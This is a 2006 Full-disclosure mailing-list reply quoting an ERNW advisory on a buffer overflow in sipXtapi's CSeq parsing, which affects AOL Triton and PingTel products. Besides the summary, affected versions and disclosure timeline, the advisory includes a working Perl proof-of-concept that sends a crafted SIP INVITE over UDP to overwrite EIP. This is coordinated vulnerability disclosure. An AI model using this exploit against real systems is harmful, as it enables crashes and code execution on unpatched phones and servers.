Re: [Full-disclosure] ERNW Security Advisory 02/2006 - Buffer Overflow in sipXtapi (used in AOL Triton)
The bug is confirmed and fixed, but it's up to the guys from
sipfoundry to work on their changelogs ;-)
TD> is there an official notification from sipX?
TD> I dont see any mention to this vulnerability in the changelog
TD> On 7/10/06, mozilla@xxxxxxxxxxxx <mozilla@xxxxxxxxxxxx> wrote:
>>
>> ERNW Security Advisory 02-2006
>>
>> Buffer Overflow in SIP Foundry's SipXtapi
>>
>> Author:
>> Michael Thumann <mthumann[at]ernw.de>
>> Homepage: www.ernw.de
>>
>> 1. Summary:
>> The sipXtapi library from sip foundry contains a buffer overflow when
>> parsing the CSeq field.
>> This flaw can be used by an attacker to gain control over EIP and execute
>> arbitrary code.
>>
>> 2. Severity : Critical
>>
>> 3. Products affected
>> - sipXtapi: all version compiled before 24 of march 2006
>> - PingTel products
>> - AOL Triton
>>
>> 4. Patch Availability :
>> A patch is available within the source tree and the affected products of
>> PingTel and AOL
>> have beed updated.
>>
>> 5. Details
>> Sending a CSeq field value greater than 24 bytes triggers the buffer
>> ovlerflow condition.
>>
>> 6. Solution
>> Update the affected products to the actual version.
>>
>> 7. Time-Line
>> 20 Mar 2006: Vulnerability reported to vendor
>> 20 Mar 2006: Answer from vendor
>> 24 Mar 2006: Patch available
>> 10 July 2006: Public Disclosure
>>
>> 8. Exploit
>> #!/usr/bin/perl
>> # PoC Exploit By mthumann@xxxxxxx
>> # Remote Buffer Overflow in sipXtapi
>>
>> use IO::Socket;
>> #use strict;
>>
>>
>> print "sipXtapi Exploit by Michael Thumann \n\n";
>>
>> if (not $ARGV[0]) {
>> print "Usage: sipx.pl <host>\n";
>> exit;}
>>
>> $target=$ARGV[0];
>> my $source ="127.0.0.1";
>> my $target_port = 5060;
>> my $user ="bad";
>> my $eip="\x41\x41\x41\x41";
>> my $cseq =
>> "\x31\x31\x35\x37\x39\x32\x30\x38".
>> "\x39\x32\x33\x37\x33\x31\x36\x31".
>> "\x39\x35\x34\x32\x33\x35\x37\x30".
>> $eip;
>> my $packet =<<END;
>> INVITE sip:user\@$source SIP/2.0\r
>> To: <sip:$target:$target_port>\r
>> Via: SIP/2.0/UDP $target:3277\r
>> From: "moz"<sip:$target:3277>\r
>> Call-ID: 3121$target\r
>> CSeq: $cseq\r
>> Max-Forwards: 70\r
>> Contact: <sip:$source:5059>\r
>> \r
>> END
>>
>> print "Sending Packet to: " . $target . "\n\n";
>> socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
>> my $ipaddr = inet_aton($target);
>> my $sendto = sockaddr_in($target_port,$ipaddr);
>> send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
>> $target : $target_port : $!\n";
>> print "Done.\n";
>>
>> 9. Thanks
>> We would like to thank the guys from sip foundry for working together on
>> this issue in a professional and
>> responsible way.
>>
>> 10. Disclaimer
>> The informations in this advisory are provided "AS IS" without warranty
>> of any kind. In no event shall the authors be liable for any damages
>> whatsoever including direct, indirect, incidental, consequential,
>> loss of business profits or special damages due to the misuse of any
>> information provided in this advisory.
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
--
Mit freundlichen Grüßen
Mailinglists
mailto:mozilla@xxxxxxxxxxxx